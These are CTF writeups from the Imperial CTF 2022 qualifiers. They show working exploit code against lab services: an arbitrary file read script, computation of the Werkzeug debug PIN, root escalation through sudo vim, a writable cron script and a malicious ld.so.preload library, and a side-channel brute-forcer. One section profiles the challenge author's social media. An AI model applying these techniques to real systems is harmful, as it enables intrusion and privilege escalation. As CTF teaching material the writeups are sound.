# Imperial CTF 2022 Qualifiers --- Writeups (SHRECS)
## Oracle
### Challenge overview
A web page `/login` with a `password` input field.

Whatever the provided password is we go through the same events:
1. Some adventurer destined message. Note that the field asks for a `Guess` and not a login from now on.

2. After one guess try, we get the same form but with a hint on what's expected

3. Guess after guess the amount of tries left decreases. Eventually when you are at 0 you have to start all over.
### Solution
In the headers we notice what first seems like a regular JWT token:
<pre style="white-space:pre-wrap">
Set-Cookie: session=.eJwNyjsKQkEMRuG9pE6R159M7lbE4oLeVnEUQXHvTnP4ivOl-z7n-_a40Eaf_UpM8_k6DtpOEdIjVtlCNawrOEVSpcbgDotRvZTeaADO6oZEhXGtGQOaXG7e2lBOVQNE4vz7AxOIG_c.YkhEmQ.gjNanHDNh73EWuT62FTE-1NV6gA; HttpOnly; Path=
</pre>
A closer look at this JWT on `https://jwt.io` shows that the first part is not a valid encoded JSON.

Throwing that base64 in `cyberchef` highlights that it's actually a `ZLIB` chunk of data.

The password is what I've entered so it's no good. But this list of number contains the one that the "Oracle" expects.
**And flag !**

---
## Enumerator
An obvious arbitrary file read vulnerability allows us to read many files on the system as **root**. We are able to read the source code of the challenge (`/enumerator_hjikmrfvyg/enumerator.py`):
```python
from flask import Flask, session, redirect, url_for, request, render_template
from werkzeug.debug import DebuggedApplication
import requests
import random
import os
app = Flask(__name__)
app.secret_key = "qMUUE3lTQqTyMxxIadQ3"
@app.route("/", methods=["GETPOST"])
def index():
data = """
<h1> Continous Automatic Tested Enumerator </h1>
<h3> Tired of having to browse so many websites in a single day? </h3>
<p> Our enumeration service allows you to look up any page on the web from the confort of our own app. </p>
<p> What are you waiting for? Start searching! </p>
<form action="" method="post">
<p> URL: <input type="text" name="url"> </p>
<p> <input type="submit" value="SuperFastSearch"> </p><p>
</p></form>
"""
if request.method == "GET":
return generate_page(data)
if request.method == "POST":
url = request.form["url"]
if "file" in url:
with open(url[7:]) as f:
contents = f.readlines()
else:
r = requests.get(url)
contents = r.text
return generate_page(f"<div> {data} </div> <div> {contents} </div>")
def generate_page(data):
return f"""
<style>
body {{
background-color: #e0f9f9;
}}
</style>
<div class="content">
{data}
</div>
"""
if __name__ == "__main__":
port = int(os.environ.get("PORT", 5000))
app.run(debug=True, host="0.0.0.0", port=port)
```
A little script to automate that:
```python
#!/usr/bin/python3
import requests
import sys
if len(sys.argv) < 2:
print("Provide path to file as arg")
exit(1)
url = "http://192.168.125.100:9002/"
r = requests.post(url, data={"url": f"file://{sys.argv[1]}"})
if r.status_code != 200:
print("error...\n\n")
print(r.text)
exit(1)
try:
index = r.text.find("<div> [")
array = r.text[index + 6 : -18]
a = eval(array)
[print(l, end="") for l in a]
except:
print(r.text)
```
We understand the server runs Flask + Werkzeug with debug mode activated. In order to access the debug console, which would give us remote code execution as root, we need to compute the PIN code of the debug console.
We learn about these PIN codes and understand they can be computed by gathering various elements about the system through the arbitrary file read vulnerability.
By looking at Werkzeug's source code, we can see we need to identify two arrays of elements: `probably_public_bits` and `private_bits`.
The first array is easily filled:
```python
probably_public_bits = [
"root", # username
"flask.app", # modname
"Flask", # getattr(app, '__name__', getattr(app.__class__, '__name__'))
"/usr/local/lib/python3.8/site-packages/flask/app.py", # getattr(mod, '__file__', None),
]
```
For the second array, we need to predict the output of `uuid.getnode()` and retrieve the machine ID:
* Retrieve the hardware MAC address of the `eth0` interface through `/sys/class/net/eth0/address`
* Retrieve `/etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup`
<pre style="background:#000"><b><span style="color:#67F86F">┌╼ </span></b><span style="color:#C7C7C7">17:12:06</span><span style="color:#fff"> </span><span style="color:#20C5C6">~/Documents/ctf/ictf/enumerator</span><span style="color:#fff"> </span>
<b><span style="color:#67F86F">└⏵ </span></b><span style="color:#fff">./get_file.py /proc/net/arp</span>
<span style="color:#fff">IP address HW type Flags HW address Mask Device</span>
<span style="color:#fff">172.24.0.1 0x1 0x2 02:42:bf:22:96:2f * eth0</span>
<b><span style="color:#67F86F">┌╼ </span></b><span style="color:#C7C7C7">17:13:27</span><span style="color:#fff"> </span><span style="color:#20C5C6">~/Documents/ctf/ictf/enumerator</span><span style="color:#fff"> </span>
<b><span style="color:#67F86F">└⏵ </span></b><span style="color:#fff">./get_file.py /sys/class/net/eth0/address</span>
<span style="color:#fff">02:42:ac:18:00:03</span>
<b><span style="color:#67F86F">┌╼ </span></b><span style="color:#C7C7C7">17:27:28</span><span style="color:#fff"> </span><span style="color:#20C5C6">~/Documents/ctf/ictf/enumerator</span><span style="color:#fff"> </span>
<b><span style="color:#67F86F">└⏵ </span></b><span style="color:#fff">python3</span>
<span style="color:#fff">Python 3.8.10 (default, Mar 15 2022, 12:22:08) </span>
<span style="color:#fff">[GCC 9.4.0] on linux</span>
<span style="color:#fff">Type "help", "copyright", "credits" or "license" for more information.</span>
<span style="color:#fff">>>> 0x0242ac180003</span>
<span style="color:#fff">2485378351107</span>
</pre>
<pre style="background:#000"><b><span style="color:#67F86F">┌╼ </span></b><span style="color:#C7C7C7">17:19:20</span><span style="color:#fff"> </span><span style="color:#20C5C6">~/Documents/ctf/ictf/enumerator</span><span style="color:#fff"> </span>
<b><span style="color:#67F86F">└⏵ </span></b><span style="color:#fff">./get_file.py /proc/self/cgroup </span>
<span style="color:#fff">11:name=systemd:/docker/3e5f58710ee3415ec2a1536107725aff6f8c43702c1c4d6da6ba93144ed0c856</span>
</pre>
Final code to compute PIN code:
```python
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
str(0x0242ac18000a),# str(uuid.getnode()), /sys/class/net/ens33/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
"f4a22ca0-c5ae-400a-923a-83b34997867f3e5f58710ee3415ec2a1536107725aff6f8c43702c1c4d6da6ba93144ed0c856"
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b'pinsalt')
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
```
We obtain `563-338-883`. We are then able to unlock the debug console. We only need now to locate the flag and print it:

ICTF{th3_fl4g_w4s_h1d1ng_1n_pl41n_s1ght}
---
## Escape Master
### Observation
When starting a `TCP` connection with the provided IP address on the provided port we receive the following:
<pre style="background:#000">
<b><span style="color:#67F86F">┌╼ </span></b><span style="color:#C7C7C7">14:57:00</span><span style="color:#fff"> </span><span style="color:#20C5C6">~</span><span style="color:#fff"> </span>
<b><span style="color:#67F86F">└⏵ </span></b><span style="color:#fff">nc 192.168.125.100 9003</span>
<span style="color:#fff"></span>
<span style="color:#fff"></span>
<span style="color:#fff"></span>
<span style="color:#fff">Alert! Alert! Agent Lee's cover has been blown! He needs immediate extraction!</span>
<span style="color:#fff">He has managed to contact us just in time and we sent a helicopter to pick him up.</span>
<span style="color:#fff">Unfortunately, he transmitted the wrong coordinates. To make things worse, he</span>
<span style="color:#fff">needs to navigate a huge maze. His position is marked with an L in the maze, while</span>
<span style="color:#fff">our helicopter is marked with an H.</span>
<span style="color:#fff">We extracted a satellitle image of the maze and marked the walls with #. We need</span>
<span style="color:#fff">you to find a path that agent Lee can follow in order to get to safety.</span>
<span style="color:#fff">Provide the path as one long line of characters L, R, U, D which symbolise taking</span>
<span style="color:#fff">a step left, right, up or down.</span>
<span style="color:#fff"> </span>
<span style="color:#fff"> Example:</span>
<span style="color:#fff"> L # # # # #</span>
<span style="color:#fff"> O O O # O #</span>
<span style="color:#fff"> # O # # O #</span>
<span style="color:#fff"> O O # O O O</span>
<span style="color:#fff"> O # # O # O</span>
<span style="color:#fff"> O O O O O H</span>
<span style="color:#fff"> </span>
<span style="color:#fff"> Path (any correct solution is accepted):</span>
<span style="color:#fff"> DRDDLDDRRRUURRDD</span>
<span style="color:#fff"> </span>
<span style="color:#fff">Ready? (Y/N)</span>
</pre>
Answering `Y` brings us the real challenge data:
<pre style="background:#000"><span style="color:#fff">Ready? (Y/N)Y</span>
<span style="color:#fff">L O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # #</span>
<span style="color:#fff"># O O # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # O O # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # #</span>
<span style="color:#fff"># O # O # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # #</span>
<span style="color:#fff"># O O O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # O O # # # # # # #</span>
<span style="color:#fff"># # O O O # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # O O O O # # # O O # # #</span>
<span style="color:#fff"># # # # O O O # # # # # # # # # # # O O # # # # O O O O O # # # # # # # # # O O O # # O O O O # # #</span>
<span style="color:#fff"># # # # # # O O O O O O O O O O O # O # # # # O O O O O O # O O # # # # # # # O O # O O # O O # # #</span>
<span style="color:#fff"># # # # # # # # # O O O # # # # O O O # # # # O O # O # # # O O # # # # # # # O # # O O # O O # # #</span>
<span style="color:#fff"># # # # # # # # # # # O # O # # O # # # # # # # # # O # # # # # # O # # # # # O # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # O # O # # O # # # # # # # # # # # # # # # # O O O O O # O # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # O # # O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # O O # # O # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # O O O O # O # # # # # # # # # # # # # # # # # # # # # # # # # # O O</span>
<span style="color:#fff"># # # # # O O O O # # O O # # # # O # # O O # # # # # # # # # # # # # O # # # # # # # # # # # # # O</span>
<span style="color:#fff"># # # # # O # O O # # O O O O O # O O # O O # # # # # # # # # # # # # O O O # # # # # # # # # # O O</span>
<span style="color:#fff"># # # # # # # O # # # # # # # O O O O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # O O O O O # # # # # # # # # # # # # # # # # O O # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # O # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # O O # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # O O # # # # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # O O # # # # # # O O O # # # # # # # # # # # # O O # # # # # O O O # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # O O # # # # # # # # # O O O # # # # # # # # # # # O O # # # # # # O # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # O O O O # # # # # # O # # O # # # # # # # # # # # # O O # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # # # # # O O # O O O O # # # # # # # # # # O # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # # # # # O O # # # # O O O O # # # # # # # O # # # # # # # # # O</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # O O # # # # # # # # # # # # # # O O O</span>
<span style="color:#fff"># # # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # O O #</span>
<span style="color:#fff"># # # # # # # # # # # # # O O O # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # # # # # # # # # O # # # # # # # # # # # # # # # # O O # O O # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # # # O O # # # # # O O O # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # #</span>
<span style="color:#fff"># # # O O O O O O # # # # # O # # # # # # # # # # # # # # # # # # # O O O # # # # # # # O # # # # #</span>
<span style="color:#fff"># # # # O O # # # # # # # # O # O # # # # # # # # # # # # # # # # O O # O O # # # # # O O # # # # #</span>
<span style="color:#fff"># # # # # O # # # # # # # # O O O # # # # # # # # # # # # # # # # O O # # O O O O O O O # # # # # #</span>
<span style="color:#fff"># # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # O O O O # # # # O O # # # # # # #</span>
<span style="color:#fff"># # # # O O O O O # # # # # # # # # # # # # # # # # # O # # # # # # # O O O O # # O O O O O # # # #</span>
<span style="color:#fff"># # # O O O # O O # O # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # O O O # #</span>
<span style="color:#fff"># # # O O O O O # O O # # # # # # # # # # # # # # # # O # O # # # # # # # # # # # # # # # # # O # #</span>
<span style="color:#fff"># # # # # # # O # O O # # # # # # # # # # # O # # # # O O O # # O O O O O O O # # # # # # # # O O #</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # # # # # O O # # # # O # # # # # # # # # # # # # # # # # O O O O</span>
<span style="color:#fff"># # # # # # # # # # # # # # O # # # # # # O O O # # # # O # # # # # # # # # # # # # # # # # # O # O</span>
<span style="color:#fff"># # # # # # # # # # # # # # O # # # # # # O O O # # # # O # O O # # # # # # # # # # # # # # # O # O</span>
<span style="color:#fff"># # # # # # # # # # # # # O O # # # # # # O O O # # # # O O O # # # O O # # # # # # # # # # # # # O</span>
<span style="color:#fff"># # # # # # # # # # # # # O # # # O O # # O O # # # # # # # # # # # O O O # # # # # # # # # # # # O</span>
<span style="color:#fff"># # # # # # # # # # # # # # # O O O O # # O O O O # # # # # O # # O O # O O # # # # # # # # # # # O</span>
<span style="color:#fff"># # # # # # # # # # # # # # # O # # # # # O # # O # # # # # O # # O O O # O # # # # # # # # # # # O</span>
<span style="color:#fff"># # # # # # # # # # # # # # # # # # # # # O # # O # # # # # O O # # # O O O O # # # # # # # # # # H</span>
<span style="color:#fff"></span>
<span style="color:#fff">Hurry! We only have a few seconds to spare!</span>
<span style="color:#fff">Path:</span>
</pre>
### Solution
It's quite straight forward, we must write a script that will connect to the server, parse the input and do some `Depth first search` computations to find a way out.
> Note that the script is absolutely not optimized. On the contrary. The complexity of the real challenge data is low enough so that we do not have to care about scripting right.
```python3
#!/usr/bin/python3
import pwn
import copy
def go_through(maze, pos, history, target):
history_cpy = copy.deepcopy(history)
if pos == target:
return True
x, y = pos
if (maze[y][x + 1] == ord("O") or maze[y][x + 1] == ord("H")) and (
x + 1,
y,
) not in history_cpy:
res = go_through(maze, (x + 1, y), [*history_cpy, (x + 1, y)], target)
if res == True:
return "R"
elif res != False:
return "R" + res
if (maze[y + 1][x] == ord("O") or maze[y + 1][x] == ord("H")) and (
x,
y + 1,
) not in history_cpy:
res = go_through(maze, (x, y + 1), [*history_cpy, (x, y + 1)], target)
if res == True:
return "D"
elif res != False:
return "D" + res
if (maze[y - 1][x] == ord("O") or maze[y - 1][x] == ord("H")) and (
x,
y - 1,
) not in history_cpy:
res = go_through(maze, (x, y - 1), [*history_cpy, (x, y - 1)], target)
if res == True:
return "U"
elif res != False:
return "U" + res
if (maze[y][x - 1] == ord("O") or maze[y][x - 1] == ord("H")) and (
x - 1,
y,
) not in history_cpy:
res = go_through(maze, (x - 1, y), [*history_cpy, (x - 1, y)], target)
if res == True:
return "L"
elif res != False:
return "L" + res
return False
r = pwn.remote("192.168.125.100", 9003)
init_message = b"Ready? (Y/N)"
challenge_message = b"\n\nHurry! We only have a few seconds to spare!\nPath:"
r.recvuntil(b"Ready? (Y/N)")
r.sendline(b"Y")
data = r.recvuntil(challenge_message)
maze = data[: -(len(challenge_message))].split(b"\n")
maze = [line.replace(b" ", b"") for line in maze]
print_maze(maze)
start = False
target = False
W = len(maze[0]) - 1
# Find the start point and target point
# For this challenge it seemed to always be the top left point
# and the bottom right points. But just in case:
for y in range(len(maze)):
line = maze[y]
if line[0] == ord("L"):
start = (0, y)
if line[W] == ord("H"):
target = (W, y)
if start != False and target != False:
break
assert start != False and target != False
res = go_through(maze, start, [start], target)
print(res)
r.sendline(res.encode())
r.interactive()
r.close()
```
<pre style="background:#000"><span style="color:#fff">RDRRDRDDDRDRDRDRRDRRRDDDRRRRRDDRDRRDRDDDDRDDRRDRRDDRRRDRDRDRRDRDRDLLDDDDDDDRRRRRDDDRDRDRRDDLDDDDRRRRRR</span>
<span style="color:#fff">RR</span>
<span style="color:#fff">[</span><b><span style="color:#6A76FB">*</span></b><span style="color:#fff">] Switching to interactive mode</span>
<span style="color:#fff"></span>
<span style="color:#fff">We sent the path to our agent. Let's see if he makes it.</span>
<span style="color:#fff">You did it! Agent Lee has been extracted!</span>
<span style="color:#fff">Here is a token of our appreciation:</span>
<span style="color:#fff">ICTF{l33_s_4lg0r1thm_h4s_a_w0r5t_cas3_c0mpl3x1ty_0f_n_squ4r3d}</span>
</pre>
---
## Root Me 1
<pre style="background:#000"><span style="color:#fff">user@730d3d393080:~$ sudo -l</span>
<span style="color:#fff">[sudo] password for user: </span>
<span style="color:#fff">Matching Defaults entries for user on 730d3d393080:</span>
<span style="color:#fff"> env_reset, mail_badpass,</span>
<span style="color:#fff"> secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span>
<span style="color:#fff"></span>
<span style="color:#fff">User user may run the following commands on 730d3d393080:</span>
<span style="color:#fff"> (root) /usr/bin/vim</span>
</pre>
😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨
Inside vim:
<pre style="background:#000">
...
<span style="color:#6A76FB">~</span>
<span style="color:#6A76FB">~</span>
<span style="color:#6A76FB">~</span>
<span style="color:#fff">:!/bin/sh</span>
</pre>
Eventually:
<pre style="background:#000"><span style="color:#fff">[No write since last change]</span>
<span style="color:#fff"># whoami</span>
<span style="color:#fff">root</span>
<span style="color:#fff"># ls</span>
<span style="color:#fff">flag.txt</span>
<span style="color:#fff"># /bin/cat flag.txt</span>
<span style="color:#fff">ICTF{v1m_1s_b3tt3r_th4n_3m4c5_4nd_n4n0_h4h4h4}</span>
</pre>
---
## Root Me 2
### Observation
In this second challenge, we do not have any `sudo` configuration. But after looking around a bit we eventually find the `crontab` configuration!
<pre style="background:#000"><span style="color:#fff">user@69e21c76eb74:~$ cat /etc/crontab </span>
<span style="color:#fff"># /etc/crontab: system-wide crontab</span>
<span style="color:#fff"># Unlike any other crontab you don't have to run the `crontab'</span>
<span style="color:#fff"># command to install the new version when you edit this file</span>
<span style="color:#fff"># and files in /etc/cron.d. These files also have username fields,</span>
<span style="color:#fff"># that none of the other crontabs do.</span>
<span style="color:#fff"></span>
<span style="color:#fff">SHELL=/bin/sh</span>
<span style="color:#fff">PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</span>
<span style="color:#fff"></span>
<span style="color:#fff"># m h dom mon dow usercommand</span>
<span style="color:#fff">17 ** * *root cd / && run-parts --report /etc/cron.hourly</span>
<span style="color:#fff">25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )</span>
<span style="color:#fff">47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )</span>
<span style="color:#fff">52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )</span>
<span style="color:#fff">#</span>
<span style="color:#fff">* * * * * root bash /usr/share/cleaner/clean.sh</span>
<span style="color:#fff">#</span>
</pre>
This `cron` job runs `clean.sh` as `root` very regularly.
<pre style="background:#000"><span style="color:#fff">user@69e21c76eb74:~$ ls -lah /usr/share/cleaner/clean.sh </span>
<span style="color:#fff">-rw-rw-rw- 1 root root 45 Apr 2 13:48 /usr/share/cleaner/clean.sh</span>
</pre>
We can even **edit it**!
<pre style="background:#000"><span style="color:#000;background:#fff"> GNU nano 2.9.3 /usr/share/cleaner/clean.sh </span>
<span style="color:#fff"></span>
<b><span style="color:#6A76FB">rm</span></b><span style="color:#fff"> -rf /tmp/*</span>
<u style="text-decoration-color:lightblue"><b><span style="color:#6A76FB">chmod</span></b><span style="color:#fff"> 0777 /home/user/flag.txt</span></u>
</pre>
### Solution
After about a minute we are able to read the flag.
<pre style="background:#000"><span style="color:#fff">user@69e21c76eb74:~$ ls -lah</span>
<span style="color:#fff">total 792K</span>
<span style="color:#fff">drwxr-xr-x 1 user user 4.0K Apr 2 13:31 .</span>
<span style="color:#fff">drwxr-xr-x 1 root root 4.0K Mar 30 19:10 ..</span>
<span style="color:#fff">-rw------- 1 user user 23 Apr 2 13:27 .bash_history</span>
<span style="color:#fff">drwx------ 2 user user 4.0K Apr 2 13:19 .cache</span>
<span style="color:#fff">drwxrwxr-x 3 user user 4.0K Apr 2 13:30 .local</span>
<span style="color:#fff">-rwxrwxrwx 1 root root 205 Mar 30 18:16 flag.txt</span>
<span style="color:#fff">-rw-rw-r-- 1 user user 758K Apr 2 13:31 linp.sh</span>
<span style="color:#fff">user@69e21c76eb74:~$ cat flag.txt</span>
<span style="color:#fff">ICTF{cr0nt4b_1s_t1m3l3ss_1f_y0u_us3_1t_r1ght} </span>
</pre>
---
## Root Me 3
### Observations
The objective is the same as the two precedent challenges. Access `/home/user/flag.txt`'s content.
<pre style="background:#000"><span style="color:#fff">user@864543330b85:~$ ls -lah flag.txt</span>
<span style="color:#fff">-r-------- 1 root root 65 Mar 30 18:16 flag.txt</span>
</pre>
Enumerating with `linPEAS` will not give much. But after looking around for a while and using many vulnerabilities enumerators when the inspiration was low enough.
The [`linux-smart-enumeration`](https://github.com/diego-treitos/linux-smart-enumeration) eventually helped with a nice feature that looks for writable files outside a user's home.
<pre style="background:#000"><span style="color:#fff">user@864543330b85:~$ bash linux-smart-enumeration/lse.sh -l 1</span>
<span style="color:#686868">---</span><span style="color:#fff"></span>
<span style="color:#FFFFFF">If you know the current user password, write it here to check sudo privileges: </span>
<span style="color:#fff">b35t_h4ck3r</span>
<span style="color:#686868">---</span><span style="color:#fff"></span>
<span style="color:#fff">[...]</span> <span style="color:#AAA"># trimed non-used output</span>
<span
style="color:#C839C5">============================================================(</span><span style="color:#1DC121"> file system </span><span style="color:#C839C5">)====</span>
<span style="color:#FFFFFF">[</span><span style="color:#FFFA72">*</span><span style="color:#FFFFFF">] </span><span style="color:#686868">fst000</span><span style="color:#FFFFFF"> Writable files outside user's home</span><span style="color:#686868">..............................</span><span style="color:#20C5C6"> yes</span>
<span style="color:#20C5C6">!</span><span style="color:#fff"></span>
<span style="color:#686868">---</span><span style="color:#fff"></span>
<span style="color:#fff">/tmp</span>
<span style="color:#fff">/etc/ld.so.preload</span>
</pre>
This `/etc/ld.so.preload` looks very promising. This file is a replacement of the `LD_PRELOAD` environment variable. It means the shared library pathes written inside will be loaded on binaries execution. It means that if we can indeed write in this file, we will be able to get a library of our choice loaded, during a `root` process for instance ! In other words, it's our entry point to an `arbitrary code execution`.
<pre style="background:#000"><span style="color:#fff">user@864543330b85:~$ ls -lah /etc/ld.so.preload </span>
<span style="color:#fff">-rw-rw-rw- 1 root root 22 Apr 2 23:36 /etc/ld.so.preload</span>
</pre>
### Exploit
We have the ability to have a library of our choice loaded before any binary execution. The plan here is to compile a custom library with some initialisation code that will change the permissions on the `/home/user/flag.txt` file.
> Note that we also could have aimed at obtaining a `root` shell. One way would have been to make `root` craft an `suid` script starting a shell. But we'll get straight to the objective of the challenge.
We'll use the [`__attribute__((__constructor__))`](https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html) on our `payload` function in order to have it run during the library loading.
```c
#include <sys/stat.h>
__attribute__((__constructor__)) void payload(void)
{
chmod("/home/user/flag.txt", 07777);
}
```
We compile it as a shared library. Then we feed it to the `/etc/ld.so.preload`.
<pre style="background:#000">
<span style="color:#fff">user@864543330b85:~$ gcc -shared -fPIC -ldl -o exploit.so exploit.c </span>
<span style="color:#fff">user@864543330b85:~$ echo "/home/user/exploit.so" >> /etc/ld.so.preload </span>
</pre>
After that we just have to wait for the `root` user to run some process. One way to trigger in this particular challenge that is to initiate a new `ssh` connection. That done we now have read access to the flag !
<pre style="background:#000"><span style="color:#fff">user@864543330b85:~$ ls -lah flag.txt </span>
<span style="color:#fff">-rwsrwsrwt 1 root root 65 Mar 30 18:16 flag.txt</span>
<span style="color:#fff">user@864543330b85:~$ cat flag.txt </span>
<u style="text-decoration-color:lightblue"><span style="color:#fff">ICTF{1_kn3w_1_sh0uld_h4v3_p41d_m0r3_att3nt1on_t0_th0se_c_cl4ss3s}</span></u>
</pre>
---
## Snowman
Hint 1: Not everything has to do with runnable code
Hint 2: Never forget your origins
We find the original copy pastas on reddit, and they're exactly the same as in the challenge, so the actual challenge entirely lies somewhere else in the file.
We notice there are additional whitespaces and tabulations between the lines. These are reminiscent of the Whitespace programming language, but we are not able to make sense out of it.
Eventually, we stumble upon **stegsnow**, a command line tool to hide data in text files using whitespaces and tabs.
Some educated guess later, we find out the password is the Attack on Titan's manga author.
<pre style="background:rgba(20,20,40,0.9)"><span style="color:#fff">╭─</span><b><span style="color:#67F86F">face@0xff</span></b><span style="color:#fff"> </span><b><span style="color:#6A76FB">~/ctf/imperial/snowman </span></b><span style="color:#fff"></span>
<span style="color:#fff">╰─$ stegsnow -p 'Hajime Isayama' -C AoT_trash_talk.txt</span>
<span style="color:#fff">ICTF{50m30n3_h4735_4774cK_0n_T174n5}%</span>
</pre>
---
## Inspectror
```
Getting RickRolled will be the Least of your problems!\00
Access the required file here: https://drive.google.com/file/d/13pDdFZpIW1pwUWcjvAwfP05zSfTzLmi-/view?usp=sharing
```
We are given a wav file. The descriptions hints at LSB steganography.
A little python script to extract the LSB binary stream:
```python
f = open("sorry.wav", "rb").read()
data = f[44:] # wav header
for i in range(len(data)):
print((data[i] & 1), end="")
```
There's a 512-bit binary stream at the beginning:
```
01100111011001100111011001001110010101010011100001110101011000110011100101110110011000010100110101110001010101100100001100101011011000100101010101000011010011010100001001110111011000100110010000111000001101110010111101100001010101010111000101100100011101100110010101001011011101110010101101000010010001000100100101010010001101010011011101010100010010110011100101001010001110000100100101110011010100000011011101100110011100010100011001110101001110000101011101000010010000100111011001110011011101010111000001011000
```
...which decodes as `gfvNU8uc9vaMqVC+bUCMBwbd87/aUqdveKw+BDIR57TK9J8IsP7fqFu8WBBvsupX`.
Then, at the end of the audio file, we notice some data encoded in the spectrum view:

...which decodes as "I_got_rickrolled".
Some educated guess leads us to realize the flag is AES-encrypted with "I_got_rickrolled" as the key:
`ICTF{https://docsoc.co.uk/random_ending}`
---
## Hannah Montana
By Googling the challenge author's nickname `PANGAV2001`, we find his Linkedin account and his real name: `Panayiotis Gavriil`.
We find his Facebook, and we are sure it's the right one, as he has the same profile picture.
By crawling in his Facebook pictures, we find dog pictures and the flag: `https://www.facebook.com/photo/?fbid=734265183318941&set=pb.100002063996513.-2207520000..`
`ICTF{17'5_M1l3y_bu7_n07_CyRu5}`
---
## Out of Time
This was a side-channel challenge.
We fist had to recover the flag length, and then we could bruteforce each character independently.
As for each step, the midi file was the same, we just used md5 to find the different one.
```python
import requests as req
import hashlib
flag=""
# Getting flag length
for k in range(100):
res = req.get("http://192.168.125.100:5002/"+'A'*k)
h=hashlib.md5(res.content).hexdigest()
if h != 'c39033fc9d44b8e8b201a959a6ba979f' and h!= "fdffc9472282c425135d88b2cd9898a9" and h!= "7dfb9a4219d20c6babc4877451844e3c":
flag_length = k
print("flag len got : ", flag_length)
for k in range(flag_length):
href_flag= flag + "." # suppose that there are no "." in the flag
href_flag += (flag_length-len(href_flag))*'A'
href = hashlib.md5(req.get("http://192.168.125.100:5002/"+href_flag).content).hexdigest()
for flag_i in [chr(i) for i in range(32, 127)]:
# for k in range(100):
flag_ = flag + flag_i
flag_ += (35-len(flag_))*'A'
# flag= urllib.parse.quote_plus("ICT"+flag)
res = req.get("http://192.168.125.100:5002/"+flag_)#flag_)
h=hashlib.md5(res.content).hexdigest()
if h!= href and h != 'c39033fc9d44b8e8b201a959a6ba979f' and h!= "fdffc9472282c425135d88b2cd9898a9" and h!= "7dfb9a4219d20c6babc4877451844e3c":
flag+=flag_i
print(flag)
break
```
Flag: `ICTF{y0U_c4Nt_35c4pe_s1d3_Ch4Nn3lS}`
---
## Your Files Are My Files
We look at the files but nothing interesting here, so using sleuthkit we look for deleted files:
```bash
➜ your_files_are_my_files git:(main) ✗ fls file.img
r/r * 5: super_secret_flag.png
r/r 8: secret_flag.png
d/d 10: .Trash-1000
v/v 1108707: $MBR
v/v 1108708: $FAT1
v/v 1108709: $FAT2
V/V 1108710: $OrphanFiles
➜ your_files_are_my_files git:(main) ✗ sudo mount file.img mount_dir
```
Inside super_secret_flag.png, we find:
```bash
cat *
